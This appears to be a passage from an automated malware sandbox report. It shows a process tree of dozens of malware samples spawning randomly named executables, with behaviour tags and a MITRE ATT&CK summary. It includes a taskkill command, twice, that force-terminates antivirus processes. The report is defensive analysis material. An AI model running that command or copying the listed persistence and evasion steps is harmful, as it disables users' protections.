C:\Windows\System\DxaGuHb.exeC:\Windows\System\DxaGuHb.exe5⤵
-
-
C:\Windows\System\DgYNUPI.exeC:\Windows\System\DgYNUPI.exe5⤵
-
-
C:\Windows\System\CjdtVYK.exeC:\Windows\System\CjdtVYK.exe5⤵
-
-
C:\Windows\System\YEowGtH.exeC:\Windows\System\YEowGtH.exe5⤵
-
-
C:\Windows\System\JrQcVPm.exeC:\Windows\System\JrQcVPm.exe5⤵
-
-
C:\Windows\System\kGjoYOl.exeC:\Windows\System\kGjoYOl.exe5⤵
-
-
C:\Windows\System\npMyXJI.exeC:\Windows\System\npMyXJI.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-p4qaxsxcngdd4273a9ff0f5c063aa519b4aa56eb09cf890e11cce36827b975db26a09c41cfN.exeC:\Users\Admin\Downloads\240920-p4qaxsxcngdd4273a9ff0f5c063aa519b4aa56eb09cf890e11cce36827b975db26a09c41cfN.exe4⤵
- Drops file in System32 directory
-
C:\Windows\System32\nuEvWtR.exeC:\Windows\System32\nuEvWtR.exe5⤵
-
-
C:\Windows\System32\ECLyRWL.exeC:\Windows\System32\ECLyRWL.exe5⤵
-
-
C:\Windows\System32\DLEWXCG.exeC:\Windows\System32\DLEWXCG.exe5⤵
-
-
C:\Windows\System32\xcBeIkP.exeC:\Windows\System32\xcBeIkP.exe5⤵
-
-
C:\Windows\System32\boCQCYY.exeC:\Windows\System32\boCQCYY.exe5⤵
-
-
C:\Windows\System32\ERixYFG.exeC:\Windows\System32\ERixYFG.exe5⤵
-
-
C:\Windows\System32\PgYFRJK.exeC:\Windows\System32\PgYFRJK.exe5⤵
-
-
C:\Windows\System32\HHnzYUs.exeC:\Windows\System32\HHnzYUs.exe5⤵
-
-
C:\Windows\System32\RryRMfV.exeC:\Windows\System32\RryRMfV.exe5⤵
-
-
C:\Windows\System32\kfedraw.exeC:\Windows\System32\kfedraw.exe5⤵
-
-
C:\Windows\System32\MgcvbQd.exeC:\Windows\System32\MgcvbQd.exe5⤵
-
-
C:\Windows\System32\XbLOcAf.exeC:\Windows\System32\XbLOcAf.exe5⤵
-
-
C:\Windows\System32\kwNiUei.exeC:\Windows\System32\kwNiUei.exe5⤵
-
-
C:\Windows\System32\cOlzRZV.exeC:\Windows\System32\cOlzRZV.exe5⤵
-
-
C:\Windows\System32\JcZxkCU.exeC:\Windows\System32\JcZxkCU.exe5⤵
-
-
C:\Windows\System32\pvQTZNp.exeC:\Windows\System32\pvQTZNp.exe5⤵
-
-
C:\Windows\System32\vxeTMjh.exeC:\Windows\System32\vxeTMjh.exe5⤵
-
-
C:\Windows\System32\bCfvTQD.exeC:\Windows\System32\bCfvTQD.exe5⤵
-
-
C:\Windows\System32\XoXSpOg.exeC:\Windows\System32\XoXSpOg.exe5⤵
-
-
C:\Windows\System32\TKhMonl.exeC:\Windows\System32\TKhMonl.exe5⤵
-
-
C:\Windows\System32\gswmuLn.exeC:\Windows\System32\gswmuLn.exe5⤵
-
-
C:\Windows\System32\HVpBDga.exeC:\Windows\System32\HVpBDga.exe5⤵
-
-
C:\Windows\System32\wHTEOLh.exeC:\Windows\System32\wHTEOLh.exe5⤵
-
-
C:\Windows\System32\EebeyrU.exeC:\Windows\System32\EebeyrU.exe5⤵
-
-
C:\Windows\System32\mehjNCq.exeC:\Windows\System32\mehjNCq.exe5⤵
-
-
C:\Windows\System32\hUUJKnk.exeC:\Windows\System32\hUUJKnk.exe5⤵
-
-
C:\Windows\System32\GVMEnjR.exeC:\Windows\System32\GVMEnjR.exe5⤵
-
-
C:\Windows\System32\kBNkCaw.exeC:\Windows\System32\kBNkCaw.exe5⤵
-
-
C:\Windows\System32\gDfbsAy.exeC:\Windows\System32\gDfbsAy.exe5⤵
-
-
C:\Windows\System32\vvcWsWq.exeC:\Windows\System32\vvcWsWq.exe5⤵
-
-
C:\Windows\System32\czWCYNi.exeC:\Windows\System32\czWCYNi.exe5⤵
-
-
C:\Windows\System32\YwVAtjE.exeC:\Windows\System32\YwVAtjE.exe5⤵
-
-
C:\Windows\System32\wDDkXfp.exeC:\Windows\System32\wDDkXfp.exe5⤵
-
-
C:\Windows\System32\GEMnwWx.exeC:\Windows\System32\GEMnwWx.exe5⤵
-
-
C:\Windows\System32\CCMYlOJ.exeC:\Windows\System32\CCMYlOJ.exe5⤵
-
-
C:\Windows\System32\BNqmXrT.exeC:\Windows\System32\BNqmXrT.exe5⤵
-
-
C:\Windows\System32\ZnkaFHD.exeC:\Windows\System32\ZnkaFHD.exe5⤵
-
-
C:\Windows\System32\pPBjhcg.exeC:\Windows\System32\pPBjhcg.exe5⤵
-
-
C:\Windows\System32\amsEoED.exeC:\Windows\System32\amsEoED.exe5⤵
-
-
C:\Windows\System32\IxAGpTe.exeC:\Windows\System32\IxAGpTe.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-ptzfvaxblj296deb014deddbad300c2ba8f156ba599e6a57efeffb42f5afc19fe88c5fc811N.exeC:\Users\Admin\Downloads\240920-ptzfvaxblj296deb014deddbad300c2ba8f156ba599e6a57efeffb42f5afc19fe88c5fc811N.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-p54vpsxdlcf92c71efc8ef3d33079441049c884f66c2c0ecf1deb216561d60b1397088442fN.exeC:\Users\Admin\Downloads\240920-p54vpsxdlcf92c71efc8ef3d33079441049c884f66c2c0ecf1deb216561d60b1397088442fN.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qh8qtaydmqe6653815847a48ccd23c521abf6be773bdaf1a8d8d49033674d9867070468989N.exeC:\Users\Admin\Downloads\240920-qh8qtaydmqe6653815847a48ccd23c521abf6be773bdaf1a8d8d49033674d9867070468989N.exe4⤵
- Loads dropped DLL
-
-
C:\Users\Admin\Downloads\240920-qkdnfsydrjffb76b552990f325604ec8fe20bd48ac713b818febb830218d7175c36d517cdbN.exeC:\Users\Admin\Downloads\240920-qkdnfsydrjffb76b552990f325604ec8fe20bd48ac713b818febb830218d7175c36d517cdbN.exe4⤵
- Loads dropped DLL
-
-
C:\Users\Admin\Downloads\240920-p3esssxenj1479015cbe6fb3998c190dc42f3165066bf3191f841e0bb92df6484c0611e70cN.exeC:\Users\Admin\Downloads\240920-p3esssxenj1479015cbe6fb3998c190dc42f3165066bf3191f841e0bb92df6484c0611e70cN.exe4⤵
-
\??\c:\lxfflfr.exec:\lxfflfr.exe5⤵
-
\??\c:\vvpjv.exec:\vvpjv.exe6⤵
-
\??\c:\vpjdv.exec:\vpjdv.exe7⤵
-
\??\c:\ntnnbb.exec:\ntnnbb.exe8⤵
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qgxl6axhneeda9e92acebfb21133cfaf6eac807914_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qgxl6axhneeda9e92acebfb21133cfaf6eac807914_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-qkm7wsyejj403e29d1007292be623ad725e8f4b2c49388b464848397f03a41d82616233a25N.exeC:\Users\Admin\Downloads\240920-qkm7wsyejj403e29d1007292be623ad725e8f4b2c49388b464848397f03a41d82616233a25N.exe4⤵
-
C:\Windows\SysWOW64\Daollh32.exeC:\Windows\system32\Daollh32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Fjjjgh32.exeC:\Windows\system32\Fjjjgh32.exe6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-pv5z1swhkebbb30adb1825dfc4226cc7b15f9c107132c6f8eb0c4d9a95e6480932292ca8a7N.exeC:\Users\Admin\Downloads\240920-pv5z1swhkebbb30adb1825dfc4226cc7b15f9c107132c6f8eb0c4d9a95e6480932292ca8a7N.exe4⤵
-
C:\Windows\SysWOW64\Abmjqe32.exeC:\Windows\system32\Abmjqe32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Gnmlhf32.exeC:\Windows\system32\Gnmlhf32.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Maaekg32.exeC:\Windows\system32\Maaekg32.exe7⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
-
-
-
C:\Users\Admin\Downloads\240920-pys5maxalhed9dbfe711729666fea40b1e08f5d0e2_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pys5maxalhed9dbfe711729666fea40b1e08f5d0e2_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6612 -s 2765⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6612 -s 2885⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-p8nmwsxemgbdec8ef959b2869ed4a098d79191d6573c5faf7c50d9a6abd176713d2eda40c0N.exeC:\Users\Admin\Downloads\240920-p8nmwsxemgbdec8ef959b2869ed4a098d79191d6573c5faf7c50d9a6abd176713d2eda40c0N.exe4⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Gdgdeppb.exeC:\Windows\system32\Gdgdeppb.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
-
C:\Users\Admin\Downloads\240920-qemdeaxgpd91412a18bfb27539c69fc85e54fd1b8b18d85c72175731ce3539b995ba5d4490N.exeC:\Users\Admin\Downloads\240920-qemdeaxgpd91412a18bfb27539c69fc85e54fd1b8b18d85c72175731ce3539b995ba5d4490N.exe4⤵
-
C:\Windows\SysWOW64\Dcphdqmj.exeC:\Windows\system32\Dcphdqmj.exe5⤵
-
C:\Windows\SysWOW64\Fjjjgh32.exeC:\Windows\system32\Fjjjgh32.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
-
-
-
C:\Users\Admin\Downloads\240920-pxm7zswhrb49294e7aedb089512f1d04e7a823837ff5d0740947f7c95f71b89f69fab16e70N.exeC:\Users\Admin\Downloads\240920-pxm7zswhrb49294e7aedb089512f1d04e7a823837ff5d0740947f7c95f71b89f69fab16e70N.exe4⤵
-
C:\Windows\SysWOW64\Egkddo32.exeC:\Windows\system32\Egkddo32.exe5⤵
-
C:\Windows\SysWOW64\Fjjjgh32.exeC:\Windows\system32\Fjjjgh32.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Lolcnman.exeC:\Windows\system32\Lolcnman.exe7⤵
-
C:\Windows\SysWOW64\Mcoepkdo.exeC:\Windows\system32\Mcoepkdo.exe8⤵
-
C:\Windows\SysWOW64\Pbddobla.exeC:\Windows\system32\Pbddobla.exe9⤵
-
C:\Windows\SysWOW64\Cbaehl32.exeC:\Windows\system32\Cbaehl32.exe10⤵
-
C:\Windows\SysWOW64\Gccmaack.exeC:\Windows\system32\Gccmaack.exe11⤵
-
C:\Windows\SysWOW64\Geklckkd.exeC:\Windows\system32\Geklckkd.exe12⤵
-
C:\Windows\SysWOW64\Hhehkepj.exeC:\Windows\system32\Hhehkepj.exe13⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Icbbimih.exeC:\Windows\system32\Icbbimih.exe14⤵
-
C:\Windows\SysWOW64\Jmopmalc.exeC:\Windows\system32\Jmopmalc.exe15⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Likcdpop.exeC:\Windows\system32\Likcdpop.exe16⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Mfhgcbfo.exeC:\Windows\system32\Mfhgcbfo.exe17⤵
-
C:\Windows\SysWOW64\Nkpbpp32.exeC:\Windows\system32\Nkpbpp32.exe18⤵
- Modifies registry class
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qalajsxfjh18911c12980ff90d3ca5b456a41ba93f6e63d14efa8763ee354c3684e0632795.exeC:\Users\Admin\Downloads\240920-qalajsxfjh18911c12980ff90d3ca5b456a41ba93f6e63d14efa8763ee354c3684e0632795.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-prappswfmg00db28e5a7412cf4a6f87f8589244cd1.exeC:\Users\Admin\Downloads\240920-prappswfmg00db28e5a7412cf4a6f87f8589244cd1.exe4⤵
- Drops file in Program Files directory
-
-
C:\Users\Admin\Downloads\240920-qbn3tsyanleda64cd8498e07628ed19290253d9333_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qbn3tsyanleda64cd8498e07628ed19290253d9333_JaffaCakes118.exe4⤵
- Modifies firewall policy service
- Adds Run key to start application
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im ashMaiSv.exe -im mcvsftsn.exe -im Mcdetect.exe -im McTskshd.exe -im mcvsshld.exe -im McVSEscn.exe -im McShield.exe -im mcagent.exe -im oasclnt.exe -im nod32kui.exe5⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im ashMaiSv.exe -im mcvsftsn.exe -im Mcdetect.exe -im McTskshd.exe -im mcvsshld.exe -im McVSEscn.exe -im McShield.exe -im mcagent.exe -im oasclnt.exe -im nod32kui.exe5⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-pw91csxclqed9c5a1eb1f387a3ce8914ddb4defe83_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pw91csxclqed9c5a1eb1f387a3ce8914ddb4defe83_JaffaCakes118.exe4⤵
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\Downloads\240920-qk384syelkedac62408b8856c7353817b68bef60ce_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qk384syelkedac62408b8856c7353817b68bef60ce_JaffaCakes118.exe4⤵
- Drops file in Program Files directory
-
C:\program files\internet explorer\IEXPLORE.EXE"C:\program files\internet explorer\IEXPLORE.EXE"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-qgkycsxhmceda9af60aedff23e13dce0da64d09d03_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qgkycsxhmceda9af60aedff23e13dce0da64d09d03_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-p68kaaxgmqb536db3bd2c005b90eb5867b319c0e99c5171518d0072a4547cef27120f0c07fN.exeC:\Users\Admin\Downloads\240920-p68kaaxgmqb536db3bd2c005b90eb5867b319c0e99c5171518d0072a4547cef27120f0c07fN.exe4⤵
-
C:\Windows\SysWOW64\Enemaimp.exeC:\Windows\system32\Enemaimp.exe5⤵
-
C:\Windows\SysWOW64\Lajokiaa.exeC:\Windows\system32\Lajokiaa.exe6⤵
-
C:\Windows\SysWOW64\Maoifh32.exeC:\Windows\system32\Maoifh32.exe7⤵
-
-
-
-
-
C:\Users\Admin\Downloads\240920-prgs1sxaljed986e8e78df8348ae9392d9d05e33fc_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-prgs1sxaljed986e8e78df8348ae9392d9d05e33fc_JaffaCakes118.exe4⤵
- Enumerates connected drives
- Drops file in System32 directory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Users\Admin\Downloads\240920-p3xzdaxeqj893cefc4cbe1cecee8b0f6a594ae75a7e3339c9689b5e38fb8360722ff8ef09dN.exeC:\Users\Admin\Downloads\240920-p3xzdaxeqj893cefc4cbe1cecee8b0f6a594ae75a7e3339c9689b5e38fb8360722ff8ef09dN.exe4⤵
- Modifies visibility of file extensions in Explorer
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Users\Admin\Downloads\240920-qgmf7axhmeeda9ba49db1396afbe40b1ed8fa20918_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qgmf7axhmeeda9ba49db1396afbe40b1ed8fa20918_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-pzg4raxapced9e7aca805a43c002de1ed96f877250_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pzg4raxapced9e7aca805a43c002de1ed96f877250_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qbs2saxfpa2af91cb6aea623756188f342803bd476af3a9b0470a354f54439f7d998b2eeafN.exeC:\Users\Admin\Downloads\240920-qbs2saxfpa2af91cb6aea623756188f342803bd476af3a9b0470a354f54439f7d998b2eeafN.exe4⤵
- Modifies firewall policy service
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files (x86)\5ba632a2\jusched.exe"C:\Program Files (x86)\5ba632a2\jusched.exe"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-qky96ayarh9a702b5d1ea054b7ed3b9542e9f960221ad08aeb1b73d412b1686482e6f808beN.exeC:\Users\Admin\Downloads\240920-qky96ayarh9a702b5d1ea054b7ed3b9542e9f960221ad08aeb1b73d412b1686482e6f808beN.exe4⤵
-
C:\Windows\SysWOW64\Lhmjlm32.exeC:\Windows\system32\Lhmjlm32.exe5⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Ggafgo32.exeC:\Windows\system32\Ggafgo32.exe6⤵
-
C:\Windows\SysWOW64\Hjlaoioh.exeC:\Windows\system32\Hjlaoioh.exe7⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Iqaiga32.exeC:\Windows\system32\Iqaiga32.exe8⤵
-
C:\Windows\SysWOW64\Jflnafno.exeC:\Windows\system32\Jflnafno.exe9⤵
-
C:\Windows\SysWOW64\Kanbjn32.exeC:\Windows\system32\Kanbjn32.exe10⤵
-
C:\Windows\SysWOW64\Lplaaiqd.exeC:\Windows\system32\Lplaaiqd.exe11⤵
-
C:\Windows\SysWOW64\Mfomda32.exeC:\Windows\system32\Mfomda32.exe12⤵
-
C:\Windows\SysWOW64\Cgcmeh32.exeC:\Windows\system32\Cgcmeh32.exe13⤵
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qatxpayakmeda5cb8441f6ef8697d408d56b204987_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qatxpayakmeda5cb8441f6ef8697d408d56b204987_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qj9dqsydqne74a32e009cb8730cd1f3d529ca944ec72215b4b4a075b2e0b596608db66a52aN.exeC:\Users\Admin\Downloads\240920-qj9dqsydqne74a32e009cb8730cd1f3d529ca944ec72215b4b4a075b2e0b596608db66a52aN.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Bkhceh32.exeC:\Windows\system32\Bkhceh32.exe5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Downloads\240920-p133lsxblged9f7a0516013b514212e62606b55892_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p133lsxblged9f7a0516013b514212e62606b55892_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-qlr78sybmaedacbadd9b726b4bb5fd13b96d6409ce_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qlr78sybmaedacbadd9b726b4bb5fd13b96d6409ce_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\240920-p1gvdaxdpp637f4d9a159c729f826b5872b563ce07d664cfaf7eb594bc1e1b721d9e356a5dN.exeC:\Users\Admin\Downloads\240920-p1gvdaxdpp637f4d9a159c729f826b5872b563ce07d664cfaf7eb594bc1e1b721d9e356a5dN.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-pw7v1axclne0333a8ec110feec7bf196db647809f8760477ef518da533e256e1b6000fd1adN.exeC:\Users\Admin\Downloads\240920-pw7v1axclne0333a8ec110feec7bf196db647809f8760477ef518da533e256e1b6000fd1adN.exe4⤵
-
C:\Windows\SysWOW64\Mjaodkmo.exeC:\Windows\system32\Mjaodkmo.exe5⤵
-
C:\Windows\SysWOW64\Odqbdnod.exeC:\Windows\system32\Odqbdnod.exe6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-prwbeawfqa8246dddbeb3abff1aece6a82728122db5783c1f8a5cbb3269f61a17de1f61384N.exeC:\Users\Admin\Downloads\240920-prwbeawfqa8246dddbeb3abff1aece6a82728122db5783c1f8a5cbb3269f61a17de1f61384N.exe4⤵
-
\??\c:\hbtttn.exec:\hbtttn.exe5⤵
-
\??\c:\xfxrlff.exec:\xfxrlff.exe6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-psm2eswgkaed99b02eb1fac8bc4137e3e94167ceaf_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-psm2eswgkaed99b02eb1fac8bc4137e3e94167ceaf_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-pymylsxdjqa1635ade0b2f3b3f565401c36cd0e5b50ca14dbf392d506c4ae750fb97f9cf82N.exeC:\Users\Admin\Downloads\240920-pymylsxdjqa1635ade0b2f3b3f565401c36cd0e5b50ca14dbf392d506c4ae750fb97f9cf82N.exe4⤵
-
C:\Windows\SysWOW64\Ecoiapdj.exeC:\Windows\system32\Ecoiapdj.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-p14n5sxblh5d6a4fd70279102ef7f99c0e7969b433d93279d1bc6881e1f4c81528bae74131N.exeC:\Users\Admin\Downloads\240920-p14n5sxblh5d6a4fd70279102ef7f99c0e7969b433d93279d1bc6881e1f4c81528bae74131N.exe4⤵
-
C:\Windows\SysWOW64\Fcjimnjl.exeC:\Windows\system32\Fcjimnjl.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-pv99qsxbqp6966abeae5c51d169fc04e631bdb3f510c33322430151d8b8835a5a070b53c12N.exeC:\Users\Admin\Downloads\240920-pv99qsxbqp6966abeae5c51d169fc04e631bdb3f510c33322430151d8b8835a5a070b53c12N.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-p5ntgsxfpneda2015d072ccf06cada0a38ba099576_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p5ntgsxfpneda2015d072ccf06cada0a38ba099576_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qk2qaaybjb2024092010189572f9be8d417775d6093b2b6770icedid.exeC:\Users\Admin\Downloads\240920-qk2qaaybjb2024092010189572f9be8d417775d6093b2b6770icedid.exe4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\Downloads\240920-psfmcawgjcmain.bat4⤵
-
-
C:\Users\Admin\Downloads\240920-pvlalsxbnm5.exeC:\Users\Admin\Downloads\240920-pvlalsxbnm5.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-p9e25sxhmqeda4e07c9b9312b025232d7185c9e034_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p9e25sxhmqeda4e07c9b9312b025232d7185c9e034_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qc213sxgkbeda7357073228bdad2dda0318a3a2a1f_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qc213sxgkbeda7357073228bdad2dda0318a3a2a1f_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-p89kcsxepfeda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p89kcsxepfeda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qb831ayaqjAimbotV2.exeC:\Users\Admin\Downloads\240920-qb831ayaqjAimbotV2.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qf6hnsxhleRadarCheat.exeC:\Users\Admin\Downloads\240920-qf6hnsxhleRadarCheat.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qkw5ssyarf2f337088db997e52872f3b3c9b223897c5a652dc4db6ac918ac3b3111d1d8725N.exeC:\Users\Admin\Downloads\240920-qkw5ssyarf2f337088db997e52872f3b3c9b223897c5a652dc4db6ac918ac3b3111d1d8725N.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-pxqm4sxcnped9c99d57c7f75f2a3e2632400e68b7d_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pxqm4sxcnped9c99d57c7f75f2a3e2632400e68b7d_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qkgp4sydrmDoomRat.exeC:\Users\Admin\Downloads\240920-qkgp4sydrmDoomRat.exe4⤵
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 9196 -ip 91962⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5168 -ip 51682⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 9180 -ip 91802⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 10748 -ip 107482⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6612 -ip 66122⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 11528 -ip 115282⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 10064 -ip 100642⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 11208 -ip 112082⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 8688 -ip 86882⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 9320 -ip 93202⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 7484 -ip 74842⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 9680 -ip 96802⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 8240 -ip 82402⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 852 -ip 8522⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 5788 -ip 57882⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 7608 -ip 76082⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 10748 -ip 107482⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 6612 -ip 66122⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 6612 -ip 66122⤵
-
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
6Active Setup
1Registry Run Keys / Startup Folder
3Winlogon Helper DLL
2Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
6Active Setup
1Registry Run Keys / Startup Folder
3Winlogon Helper DLL
2Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
6Disable or Modify System Firewall
